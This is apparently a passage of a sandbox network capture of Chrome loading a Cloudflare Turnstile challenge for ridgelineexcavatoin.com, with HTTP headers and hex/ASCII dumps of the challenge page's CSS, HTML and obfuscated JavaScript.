2024-04-18 21:05:32 UTC	1369	IN	Data Raw: 65 79 4f 76 65 72 72 69 64 65 73 2e 6f 66 66 6c 61 62 65 6c 29 2c 65 2e 70 61 72 61 6d 73 2e 5f 64 65 62 75 67 53 69 74 65 6b 65 79 4f 76 65 72 72 69 64 65 73 2e 63 6c 65 61 72 61 6e 63 65 5f 6c 65 76 65 6c 21 3d 3d 22 64 65 66 61 75 6c 74 22 26 26 72 2e 73 65 74 28 22 63 6c 65 61 72 61 6e 63 65 5f 6c 65 76 65 6c 22 2c 65 2e 70 61 72 61 6d 73 2e 5f 64 65 62 75 67 53 69 74 65 6b 65 79 4f 76 65 72 72 69 64 65 73 2e 63 6c 65 61 72 61 6e 63 65 5f 6c 65 76 65 6c 29 29 2c 72 2e 73 69 7a 65 21 3d 3d 30 29 72 65 74 75 72 6e 20 72 2e 74 6f 53 74 72 69 6e 67 28 29 7d 66 75 6e 63 74 69 6f 6e 20 73 74 28 65 2c 72 29 7b 76 61 72 20 74 3d 22 68 74 74 70 73 3a 2f 2f 63 68 61 6c 6c 65 6e 67 65 73 2e 63 6c 6f 75 64 66 6c 61 72 65 2e 63 6f 6d 22 3b 69 66 28 72 29 7b 76 61 Data Ascii: eyOverrides.offlabel),e.params._debugSitekeyOverrides.clearance_level!=="default"&&r.set("clearance_level",e.params._debugSitekeyOverrides.clearance_level)),r.size!==0)return r.toString()}function st(e,r){var t="https://challenges.cloudflare.com";if(r){va
2024-04-18 21:05:32 UTC	1369	IN	Data Raw: 6d 65 6e 74 73 2e 6c 65 6e 67 74 68 3e 31 26 26 61 72 67 75 6d 65 6e 74 73 5b 31 5d 21 3d 3d 76 6f 69 64 20 30 3f 61 72 67 75 6d 65 6e 74 73 5b 31 5d 3a 33 3b 72 65 74 75 72 6e 20 65 2e 6c 65 6e 67 74 68 3e 72 3f 65 2e 73 75 62 73 74 72 69 6e 67 28 30 2c 72 29 3a 65 7d 3b 66 75 6e 63 74 69 6f 6e 20 4a 74 28 65 29 7b 76 61 72 20 72 3d 66 75 6e 63 74 69 6f 6e 28 74 2c 6f 29 7b 69 66 28 21 74 7c 7c 74 2e 74 61 67 4e 61 6d 65 3d 3d 3d 22 42 4f 44 59 22 29 72 65 74 75 72 6e 20 6f 3b 66 6f 72 28 76 61 72 20 75 3d 31 2c 73 3d 74 2e 70 72 65 76 69 6f 75 73 45 6c 65 6d 65 6e 74 53 69 62 6c 69 6e 67 3b 73 3b 29 73 2e 74 61 67 4e 61 6d 65 3d 3d 3d 74 2e 74 61 67 4e 61 6d 65 26 26 75 2b 2b 2c 73 3d 73 2e 70 72 65 76 69 6f 75 73 45 6c 65 6d 65 6e 74 53 69 62 6c 69 6e Data Ascii: ments.length>1&&arguments[1]!==void 0?arguments[1]:3;return e.length>r?e.substring(0,r):e};function Jt(e){var r=function(t,o){if(!t\|\|t.tagName==="BODY")return o;for(var u=1,s=t.previousElementSibling;s;)s.tagName===t.tagName&&u++,s=s.previousElementSiblin

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
11	192.168.2.16	49754	104.21.20.67	443	7068	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-18 21:05:32 UTC	485	OUT	GET /cdn-cgi/challenge-platform/h/g/flow/ov1/1569742461:1713472060:wAhT1heed4LdXHG2SnaUyUQLhQzlBAHAgZDrJ7xk3UI/87679d084da044dd/87bab2d808f5b85 HTTP/1.1 Host: ridgelineexcavatoin.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-18 21:05:32 UTC	722	IN	HTTP/1.1 400 Bad Request Date: Thu, 18 Apr 2024 21:05:32 GMT Content-Type: application/json Content-Length: 7 Connection: close cf-chl-out: TVL7h336wvX8ufsABrH1UA==$2jPOrwEG9WORxyA45rSuMA== cache-control: private, max-age=0, no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=295wxf58ff9G65QenEOyERe4F5F1OgNAIK53yKJHxJ1ETIf89Wq3kvaly3gWAK1r7PGRV5u%2BU5oYSQaOOI%2B5u%2BcflGRSTHoUemtv8lfwjIXx%2BKIGDwsc%2FeEZEDI6uZ0zgC4C3%2FowjqSjdA%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 87679d134c9a4531-ATL alt-svc: h3=":443"; ma=86400
2024-04-18 21:05:32 UTC	7	IN	Data Raw: 69 6e 76 61 6c 69 64 Data Ascii: invalid

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
12	192.168.2.16	49755	104.17.3.184	443	7068	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-18 21:05:32 UTC	754	OUT	GET /cdn-cgi/challenge-platform/h/g/turnstile/if/ov2/av0/rcv0/0/g4s4m/0x4AAAAAAADnPIDROrmt1Wwj/light/normal HTTP/1.1 Host: challenges.cloudflare.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: navigate Sec-Fetch-Dest: iframe Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-18 21:05:32 UTC	1343	IN	HTTP/1.1 200 OK Date: Thu, 18 Apr 2024 21:05:32 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close cross-origin-embedder-policy: require-corp accept-ch: Sec-CH-UA-Bitness, Sec-CH-UA-Arch, Sec-CH-UA-Mobile, Sec-CH-UA-Model, Sec-CH-UA-Platform-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Platform, Sec-CH-UA, UA-Bitness, UA-Arch, UA-Full-Version, UA-Mobile, UA-Model, UA-Platform-Version, UA-Platform, UA cross-origin-resource-policy: cross-origin origin-agent-cluster: ?1 permissions-policy: accelerometer=(),autoplay=(),browsing-topics=(),camera=(),clipboard-read=(),clipboard-write=(),geolocation=(),gyroscope=(),hid=(),interest-cohort=(),magnetometer=(),microphone=(),payment=(),publickey-credentials-get=(),screen-wake-lock=(),serial=(),sync-xhr=(),usb=() cache-control: private, max-age=0, no-store, no-cache, must-revalidate, post-check=0, pre-check=0 content-security-policy: frame-src https://challenges.cloudflare.com/ blob:; base-uri 'self' critical-ch: Sec-CH-UA-Bitness, Sec-CH-UA-Arch, Sec-CH-UA-Mobile, Sec-CH-UA-Model, Sec-CH-UA-Platform-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Platform, Sec-CH-UA, UA-Bitness, UA-Arch, UA-Full-Version, UA-Mobile, UA-Model, UA-Platform-Version, UA-Platform, UA cross-origin-opener-policy: same-origin document-policy: js-profiling
2024-04-18 21:05:32 UTC	135	IN	Data Raw: 72 65 66 65 72 72 65 72 2d 70 6f 6c 69 63 79 3a 20 73 61 6d 65 2d 6f 72 69 67 69 6e 0d 0a 76 61 72 79 3a 20 61 63 63 65 70 74 2d 65 6e 63 6f 64 69 6e 67 0d 0a 53 65 72 76 65 72 3a 20 63 6c 6f 75 64 66 6c 61 72 65 0d 0a 43 46 2d 52 41 59 3a 20 38 37 36 37 39 64 31 33 62 38 63 61 36 37 38 39 2d 41 54 4c 0d 0a 61 6c 74 2d 73 76 63 3a 20 68 33 3d 22 3a 34 34 33 22 3b 20 6d 61 3d 38 36 34 30 30 0d 0a 0d 0a Data Ascii: referrer-policy: same-originvary: accept-encodingServer: cloudflareCF-RAY: 87679d13b8ca6789-ATLalt-svc: h3=":443"; ma=86400
2024-04-18 21:05:32 UTC	1369	IN	Data Raw: 34 64 36 63 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 0a 3c 68 65 61 64 3e 0a 20 20 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 58 2d 55 41 2d 43 6f 6d 70 61 74 69 62 6c 65 22 20 63 6f 6e 74 65 6e 74 3d 22 49 45 3d 45 64 67 65 2c 63 68 72 6f 6d 65 3d 31 22 3e 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 72 6f 62 6f 74 73 22 20 63 6f 6e 74 65 6e 74 3d 22 6e 6f 69 6e 64 65 78 2c 20 6e 6f 66 6f 6c 6c 6f 77 22 20 2f 3e 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 61 78 69 6d 75 6d 2d 73 63 61 6c Data Ascii: 4d6c<!DOCTYPE HTML><html lang="en-US"><head> <meta http-equiv="X-UA-Compatible" content="IE=Edge,chrome=1"> <meta name="robots" content="noindex, nofollow" /> <meta name="viewport" content="width=device-width, initial-scale=1, maximum-scal
2024-04-18 21:05:32 UTC	1369	IN	Data Raw: 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 20 23 66 66 66 3b 0a 20 20 70 61 64 64 69 6e 67 3a 20 30 3b 0a 20 20 77 69 64 74 68 3a 20 31 30 30 25 3b 0a 20 20 68 65 69 67 68 74 3a 20 31 30 30 25 3b 0a 20 20 6f 76 65 72 66 6c 6f 77 3a 20 68 69 64 64 65 6e 3b 0a 20 20 6c 69 6e 65 2d 68 65 69 67 68 74 3a 20 31 37 70 78 3b 0a 20 20 63 6f 6c 6f 72 3a 20 23 31 64 31 66 32 30 3b 0a 20 20 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 20 2d 61 70 70 6c 65 2d 73 79 73 74 65 6d 2c 20 73 79 73 74 65 6d 2d 75 69 2c 20 62 6c 69 6e 6b 6d 61 63 73 79 73 74 65 6d 66 6f 6e 74 2c 20 22 53 65 67 6f 65 20 55 49 22 2c 20 72 6f 62 6f 74 6f 2c 20 6f 78 79 67 65 6e 2c 20 75 62 75 6e 74 75 2c 20 22 48 65 6c 76 65 74 69 63 61 20 4e 65 75 65 22 2c 20 61 72 69 61 6c 2c 20 73 61 6e 73 2d 73 65 72 Data Ascii: kground-color: #fff; padding: 0; width: 100%; height: 100%; overflow: hidden; line-height: 17px; color: #1d1f20; font-family: -apple-system, system-ui, blinkmacsystemfont, "Segoe UI", roboto, oxygen, ubuntu, "Helvetica Neue", arial, sans-ser
2024-04-18 21:05:32 UTC	1369	IN	Data Raw: 70 78 3b 0a 20 20 62 6f 72 64 65 72 2d 72 61 64 69 75 73 3a 20 35 30 25 3b 0a 20 20 62 6f 78 2d 73 68 61 64 6f 77 3a 20 69 6e 73 65 74 20 30 20 30 20 30 20 23 30 33 38 31 32 37 3b 0a 20 20 77 69 64 74 68 3a 20 33 30 70 78 3b 0a 20 20 68 65 69 67 68 74 3a 20 33 30 70 78 3b 0a 20 20 61 6e 69 6d 61 74 69 6f 6e 3a 20 73 63 61 6c 65 2d 75 70 2d 63 65 6e 74 65 72 20 30 2e 36 73 20 63 75 62 69 63 2d 62 65 7a 69 65 72 28 30 2e 35 35 2c 20 30 2e 30 38 35 2c 20 30 2e 36 38 2c 20 30 2e 35 33 29 20 62 6f 74 68 3b 0a 20 20 73 74 72 6f 6b 65 2d 77 69 64 74 68 3a 20 36 70 78 3b 0a 20 20 73 74 72 6f 6b 65 3a 20 23 66 38 66 38 66 38 3b 0a 20 20 73 74 72 6f 6b 65 2d 6d 69 74 65 72 6c 69 6d 69 74 3a 20 31 30 3b 0a 7d 0a 23 73 75 63 63 65 73 73 2d 69 63 6f 6e 20 2e 70 31 20 Data Ascii: px; border-radius: 50%; box-shadow: inset 0 0 0 #038127; width: 30px; height: 30px; animation: scale-up-center 0.6s cubic-bezier(0.55, 0.085, 0.68, 0.53) both; stroke-width: 6px; stroke: #f8f8f8; stroke-miterlimit: 10;}#success-icon .p1
2024-04-18 21:05:32 UTC	1369	IN	Data Raw: 6c 65 6e 67 65 2d 65 72 72 6f 72 2d 74 65 78 74 20 61 3a 61 63 74 69 76 65 2c 0a 2e 74 68 65 6d 65 2d 64 61 72 6b 20 23 63 68 61 6c 6c 65 6e 67 65 2d 65 72 72 6f 72 2d 74 65 78 74 20 61 3a 66 6f 63 75 73 20 7b 0a 20 20 63 6f 6c 6f 72 3a 20 23 39 34 39 34 39 34 3b 0a 7d 0a 2e 74 68 65 6d 65 2d 64 61 72 6b 20 2e 63 74 70 2d 63 68 65 63 6b 62 6f 78 2d 6c 61 62 65 6c 20 2e 6d 61 72 6b 20 7b 0a 20 20 62 6f 72 64 65 72 3a 20 32 70 78 20 73 6f 6c 69 64 20 23 64 61 64 61 64 61 3b 0a 20 20 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 20 23 32 32 32 3b 0a 7d 0a 2e 74 68 65 6d 65 2d 64 61 72 6b 20 2e 63 74 70 2d 63 68 65 63 6b 62 6f 78 2d 6c 61 62 65 6c 20 69 6e 70 75 74 3a 66 6f 63 75 73 20 7e 20 2e 6d 61 72 6b 2c 20 2e 74 68 65 6d 65 2d 64 61 72 6b 20 2e 63 Data Ascii: lenge-error-text a:active,.theme-dark #challenge-error-text a:focus { color: #949494;}.theme-dark .ctp-checkbox-label .mark { border: 2px solid #dadada; background-color: #222;}.theme-dark .ctp-checkbox-label input:focus ~ .mark, .theme-dark .c
2024-04-18 21:05:32 UTC	1369	IN	Data Raw: 72 64 65 72 2d 63 6f 6c 6f 72 3a 20 23 36 36 36 3b 0a 20 20 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 20 23 32 32 32 3b 0a 7d 0a 2e 74 68 65 6d 65 2d 64 61 72 6b 20 23 71 72 20 7b 0a 20 20 66 69 6c 6c 3a 20 72 67 62 28 32 34 33 2c 20 31 32 38 2c 20 33 32 29 3b 0a 7d 0a 2e 74 68 65 6d 65 2d 64 61 72 6b 20 2e 6c 6f 67 6f 2d 74 65 78 74 20 7b 0a 20 20 66 69 6c 6c 3a 20 23 66 66 66 3b 0a 7d 0a 2e 74 68 65 6d 65 2d 64 61 72 6b 20 23 66 72 2d 68 65 6c 70 65 72 2d 6c 69 6e 6b 2c 0a 2e 74 68 65 6d 65 2d 64 61 72 6b 20 23 66 72 2d 68 65 6c 70 65 72 2d 6c 6f 6f 70 2d 6c 69 6e 6b 20 7b 0a 20 20 63 6f 6c 6f 72 3a 20 23 62 62 62 3b 0a 7d 0a 2e 74 68 65 6d 65 2d 64 61 72 6b 20 23 66 72 2d 68 65 6c 70 65 72 2d 6c 69 6e 6b 3a 76 69 73 69 74 65 64 2c 20 2e 74 68 Data Ascii: rder-color: #666; background-color: #222;}.theme-dark #qr { fill: rgb(243, 128, 32);}.theme-dark .logo-text { fill: #fff;}.theme-dark #fr-helper-link,.theme-dark #fr-helper-loop-link { color: #bbb;}.theme-dark #fr-helper-link:visited, .th
2024-04-18 21:05:32 UTC	1369	IN	Data Raw: 72 3a 20 23 66 61 66 61 66 61 3b 0a 7d 0a 0a 23 63 68 61 6c 6c 65 6e 67 65 2d 6f 76 65 72 6c 61 79 2c 0a 23 63 68 61 6c 6c 65 6e 67 65 2d 65 72 72 6f 72 2d 74 65 78 74 20 7b 0a 20 20 74 65 78 74 2d 61 6c 69 67 6e 3a 20 63 65 6e 74 65 72 3b 0a 20 20 6c 69 6e 65 2d 68 65 69 67 68 74 3a 20 31 30 70 78 3b 0a 20 20 63 6f 6c 6f 72 3a 20 23 64 65 31 33 30 33 3b 0a 20 20 66 6f 6e 74 2d 73 69 7a 65 3a 20 39 70 78 3b 0a 7d 0a 23 63 68 61 6c 6c 65 6e 67 65 2d 6f 76 65 72 6c 61 79 20 61 2c 0a 23 63 68 61 6c 6c 65 6e 67 65 2d 65 72 72 6f 72 2d 74 65 78 74 20 61 20 7b 0a 20 20 63 6f 6c 6f 72 3a 20 23 31 64 31 66 32 30 3b 0a 7d 0a 23 63 68 61 6c 6c 65 6e 67 65 2d 6f 76 65 72 6c 61 79 20 61 3a 76 69 73 69 74 65 64 2c 20 23 63 68 61 6c 6c 65 6e 67 65 2d 6f 76 65 72 6c 61 Data Ascii: r: #fafafa;}#challenge-overlay,#challenge-error-text { text-align: center; line-height: 10px; color: #de1303; font-size: 9px;}#challenge-overlay a,#challenge-error-text a { color: #1d1f20;}#challenge-overlay a:visited, #challenge-overla
2024-04-18 21:05:32 UTC	1369	IN	Data Raw: 20 7e 20 2e 6d 61 72 6b 20 7b 0a 20 20 62 6f 72 64 65 72 3a 20 32 70 78 20 73 6f 6c 69 64 20 23 63 34 34 64 30 65 3b 0a 7d 0a 2e 63 74 70 2d 63 68 65 63 6b 62 6f 78 2d 6c 61 62 65 6c 20 69 6e 70 75 74 3a 61 63 74 69 76 65 20 7e 20 73 70 61 6e 2e 63 74 70 2d 6c 61 62 65 6c 20 7b 0a 20 20 74 65 78 74 2d 64 65 63 6f 72 61 74 69 6f 6e 3a 20 75 6e 64 65 72 6c 69 6e 65 3b 0a 7d 0a 2e 63 74 70 2d 63 68 65 63 6b 62 6f 78 2d 6c 61 62 65 6c 20 69 6e 70 75 74 3a 66 6f 63 75 73 20 7e 20 2e 6d 61 72 6b 20 7b 0a 20 20 62 6f 72 64 65 72 3a 20 32 70 78 20 73 6f 6c 69 64 20 23 63 34 34 64 30 65 3b 0a 7d 0a 2e 63 74 70 2d 63 68 65 63 6b 62 6f 78 2d 6c 61 62 65 6c 20 69 6e 70 75 74 3a 66 6f 63 75 73 20 7e 20 73 70 61 6e 2e 63 74 70 2d 6c 61 62 65 6c 20 7b 0a 20 20 74 65 78 Data Ascii: ~ .mark { border: 2px solid #c44d0e;}.ctp-checkbox-label input:active ~ span.ctp-label { text-decoration: underline;}.ctp-checkbox-label input:focus ~ .mark { border: 2px solid #c44d0e;}.ctp-checkbox-label input:focus ~ span.ctp-label { tex
2024-04-18 21:05:32 UTC	1369	IN	Data Raw: 70 61 63 65 72 20 7b 0a 20 20 6d 61 72 67 69 6e 2d 72 69 67 68 74 3a 20 33 70 78 3b 0a 20 20 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 20 33 70 78 3b 0a 7d 0a 2e 73 69 7a 65 2d 63 6f 6d 70 61 63 74 20 2e 63 74 70 2d 63 68 65 63 6b 62 6f 78 2d 63 6f 6e 74 61 69 6e 65 72 20 7b 0a 20 20 74 65 78 74 2d 61 6c 69 67 6e 3a 20 6c 65 66 74 3b 0a 7d 0a 2e 73 69 7a 65 2d 63 6f 6d 70 61 63 74 20 23 6c 6f 67 6f 20 7b 0a 20 20 6d 61 72 67 69 6e 2d 74 6f 70 3a 20 35 70 78 3b 0a 20 20 6d 61 72 67 69 6e 2d 62 6f 74 74 6f 6d 3a 20 30 3b 0a 20 20 68 65 69 67 68 74 3a 20 32 32 70 78 3b 0a 7d 0a 2e 73 69 7a 65 2d 63 6f 6d 70 61 63 74 20 2e 63 62 2d 63 6f 6e 74 61 69 6e 65 72 20 7b 0a 20 20 6d 61 72 67 69 6e 2d 74 6f 70 3a 20 33 70 78 3b 0a 20 20 6d 61 72 67 69 6e 2d 6c 65 66 74 3a Data Ascii: pacer { margin-right: 3px; margin-left: 3px;}.size-compact .ctp-checkbox-container { text-align: left;}.size-compact #logo { margin-top: 5px; margin-bottom: 0; height: 22px;}.size-compact .cb-container { margin-top: 3px; margin-left:
2024-04-18 21:05:32 UTC	1369	IN	Data Raw: 72 2d 69 63 6f 6e 20 7b 0a 20 20 6c 65 66 74 3a 20 32 35 35 70 78 3b 0a 20 20 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 20 38 70 78 3b 0a 7d 0a 2e 72 74 6c 20 23 74 69 6d 65 6f 75 74 2d 69 63 6f 6e 2c 0a 2e 72 74 6c 20 23 65 78 70 69 72 65 64 2d 69 63 6f 6e 20 7b 0a 20 20 6c 65 66 74 3a 20 32 35 35 70 78 3b 0a 20 20 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 20 38 70 78 3b 0a 7d 0a 2e 72 74 6c 20 23 62 72 61 6e 64 69 6e 67 20 7b 0a 20 20 6d 61 72 67 69 6e 3a 20 30 20 30 20 30 20 31 36 70 78 3b 0a 20 20 70 61 64 64 69 6e 67 2d 72 69 67 68 74 3a 20 30 3b 0a 20 20 70 61 64 64 69 6e 67 2d 6c 65 66 74 3a 20 30 3b 0a 20 20 77 69 64 74 68 3a 20 39 30 70 78 3b 0a 20 20 74 65 78 74 2d 61 6c 69 67 6e 3a 20 63 65 6e 74 65 72 3b 0a 7d 0a 2e 72 74 6c 20 2e 73 69 7a 65 2d 63 6f 6d Data Ascii: r-icon { left: 255px; margin-left: 8px;}.rtl #timeout-icon,.rtl #expired-icon { left: 255px; margin-left: 8px;}.rtl #branding { margin: 0 0 0 16px; padding-right: 0; padding-left: 0; width: 90px; text-align: center;}.rtl .size-com

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
13	192.168.2.16	49758	104.17.3.184	443	7068	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-18 21:05:33 UTC	711	OUT	GET /cdn-cgi/challenge-platform/h/g/orchestrate/chl_api/v1?ray=87679d13b8ca6789 HTTP/1.1 Host: challenges.cloudflare.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/g/turnstile/if/ov2/av0/rcv0/0/g4s4m/0x4AAAAAAADnPIDROrmt1Wwj/light/normal Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-18 21:05:33 UTC	358	IN	HTTP/1.1 200 OK Date: Thu, 18 Apr 2024 21:05:33 GMT Content-Type: application/javascript; charset=UTF-8 Transfer-Encoding: chunked Connection: close cache-control: private, max-age=0, no-store, no-cache, must-revalidate, post-check=0, pre-check=0 vary: accept-encoding Server: cloudflare CF-RAY: 87679d194ff87bde-ATL alt-svc: h3=":443"; ma=86400
2024-04-18 21:05:33 UTC	59	IN	Data Raw: 33 35 0d 0a 77 69 6e 64 6f 77 2e 5f 63 66 5f 63 68 6c 5f 6f 70 74 2e 75 61 4f 3d 66 61 6c 73 65 3b 7e 66 75 6e 63 74 69 6f 6e 28 69 78 2c 66 45 2c 66 46 2c 66 4a 2c 66 4c 0d 0a Data Ascii: 35window._cf_chl_opt.uaO=false;~function(ix,fE,fF,fJ,fL
2024-04-18 21:05:33 UTC	1369	IN	Data Raw: 31 61 37 66 0d 0a 2c 66 4d 2c 66 4e 2c 66 4f 2c 66 50 2c 66 51 2c 66 52 2c 66 53 2c 66 54 2c 66 55 2c 66 56 2c 66 57 2c 66 58 2c 66 59 2c 66 5a 2c 67 30 2c 67 31 2c 67 32 2c 67 33 2c 67 34 2c 67 35 2c 67 36 2c 67 37 2c 67 38 2c 67 39 2c 67 61 2c 67 62 2c 67 63 2c 67 64 2c 67 65 2c 67 66 2c 67 67 2c 67 68 2c 67 69 2c 67 6a 2c 67 6b 2c 67 6c 2c 67 6d 2c 67 6e 2c 67 6f 2c 67 70 2c 67 71 2c 67 72 2c 67 73 2c 67 74 2c 67 75 2c 67 76 2c 67 77 2c 67 78 2c 67 79 2c 67 7a 2c 67 41 2c 67 42 2c 67 43 2c 67 44 2c 67 45 2c 67 46 2c 67 48 2c 67 54 2c 68 36 2c 68 62 2c 68 63 2c 68 64 2c 68 70 2c 68 41 2c 68 45 2c 68 48 2c 68 49 2c 69 65 2c 69 6a 2c 69 6b 2c 69 6c 2c 69 71 2c 69 72 2c 69 73 2c 68 46 2c 68 47 29 7b 66 6f 72 28 69 78 3d 62 2c 66 75 6e 63 74 69 6f 6e 28 63 Data Ascii: 1a7f,fM,fN,fO,fP,fQ,fR,fS,fT,fU,fV,fW,fX,fY,fZ,g0,g1,g2,g3,g4,g5,g6,g7,g8,g9,ga,gb,gc,gd,ge,gf,gg,gh,gi,gj,gk,gl,gm,gn,go,gp,gq,gr,gs,gt,gu,gv,gw,gx,gy,gz,gA,gB,gC,gD,gE,gF,gH,gT,h6,hb,hc,hd,hp,hA,hE,hH,hI,ie,ij,ik,il,iq,ir,is,hF,hG){for(ix=b,function(c
2024-04-18 21:05:33 UTC	1369	IN	Data Raw: 74 69 6f 6e 28 43 2c 44 29 7b 72 65 74 75 72 6e 20 43 2b 44 7d 2c 69 29 3b 74 72 79 7b 69 66 28 6b 3d 6a 5b 69 41 28 32 34 39 35 29 5d 28 68 2c 69 41 28 32 34 37 39 29 29 2c 6c 3d 66 45 5b 69 41 28 35 33 36 29 5d 5b 69 41 28 32 37 31 35 29 5d 3f 6a 5b 69 41 28 31 32 33 31 29 5d 28 27 68 2f 27 2b 66 45 5b 69 41 28 35 33 36 29 5d 5b 69 41 28 32 37 31 35 29 5d 2c 27 2f 27 29 3a 27 27 2c 6d 3d 6a 5b 69 41 28 32 37 32 39 29 5d 28 6a 5b 69 41 28 32 37 32 39 29 5d 28 6a 5b 69 41 28 31 32 33 31 29 5d 28 6a 5b 69 41 28 32 30 34 34 29 5d 28 69 41 28 32 35 34 31 29 2c 6c 29 2b 69 41 28 32 35 33 36 29 2c 31 29 2c 69 41 28 31 31 39 35 29 29 2b 66 45 5b 69 41 28 35 33 36 29 5d 5b 69 41 28 31 34 39 30 29 5d 2b 27 2f 27 2b 66 45 5b 69 41 28 35 33 36 29 5d 5b 69 41 28 33 Data Ascii: tion(C,D){return C+D},i);try{if(k=j[iA(2495)](h,iA(2479)),l=fE[iA(536)][iA(2715)]?j[iA(1231)]('h/'+fE[iA(536)][iA(2715)],'/'):'',m=j[iA(2729)](j[iA(2729)](j[iA(1231)](j[iA(2044)](iA(2541),l)+iA(2536),1),iA(1195))+fE[iA(536)][iA(1490)]+'/'+fE[iA(536)][iA(3
2024-04-18 21:05:33 UTC	1369	IN	Data Raw: 66 4c 5b 69 78 28 32 36 33 31 29 5d 3d 69 78 28 32 39 34 34 29 2c 66 4c 5b 69 78 28 32 35 36 38 29 5d 3d 69 78 28 32 31 33 37 29 2c 66 4c 5b 69 78 28 31 37 35 34 29 5d 3d 69 78 28 31 35 30 31 29 2c 66 4c 5b 69 78 28 31 36 31 33 29 5d 3d 69 78 28 31 31 38 39 29 2c 66 4c 5b 69 78 28 32 38 36 35 29 5d 3d 69 78 28 31 37 32 32 29 2c 66 4c 5b 69 78 28 31 31 38 38 29 5d 3d 69 78 28 33 33 37 33 29 2c 66 4c 5b 69 78 28 31 31 38 37 29 5d 3d 69 78 28 32 31 37 34 29 2c 66 4c 5b 69 78 28 37 33 32 29 5d 3d 69 78 28 31 38 34 38 29 2c 66 4c 5b 69 78 28 35 32 33 29 5d 3d 69 78 28 32 36 31 33 29 2c 66 4c 5b 69 78 28 31 36 30 33 29 5d 3d 69 78 28 31 32 33 37 29 2c 66 4c 5b 69 78 28 31 39 36 31 29 5d 3d 69 78 28 32 31 37 31 29 2c 66 4c 5b 69 78 28 32 36 32 32 29 5d 3d 69 78 Data Ascii: fL[ix(2631)]=ix(2944),fL[ix(2568)]=ix(2137),fL[ix(1754)]=ix(1501),fL[ix(1613)]=ix(1189),fL[ix(2865)]=ix(1722),fL[ix(1188)]=ix(3373),fL[ix(1187)]=ix(2174),fL[ix(732)]=ix(1848),fL[ix(523)]=ix(2613),fL[ix(1603)]=ix(1237),fL[ix(1961)]=ix(2171),fL[ix(2622)]=ix
2024-04-18 21:05:33 UTC	1369	IN	Data Raw: 4d 5b 69 78 28 31 33 33 32 29 5d 3d 69 78 28 32 34 31 31 29 2c 66 4d 5b 69 78 28 31 31 34 39 29 5d 3d 69 78 28 32 36 32 39 29 2c 66 4d 5b 69 78 28 36 32 37 29 5d 3d 69 78 28 32 39 36 35 29 2c 66 4d 5b 69 78 28 33 32 35 30 29 5d 3d 69 78 28 33 32 35 32 29 2c 66 4d 5b 69 78 28 33 30 35 39 29 5d 3d 69 78 28 36 35 33 29 2c 66 4d 5b 69 78 28 31 35 31 38 29 5d 3d 69 78 28 32 30 38 33 29 2c 66 4d 5b 69 78 28 32 38 31 34 29 5d 3d 69 78 28 38 39 36 29 2c 66 4d 5b 69 78 28 32 34 34 30 29 5d 3d 69 78 28 32 37 31 30 29 2c 66 4d 5b 69 78 28 33 30 38 38 29 5d 3d 69 78 28 33 30 33 31 29 2c 66 4d 5b 69 78 28 31 33 32 35 29 5d 3d 69 78 28 36 39 34 29 2c 66 4d 5b 69 78 28 31 31 35 30 29 5d 3d 69 78 28 32 35 36 36 29 2c 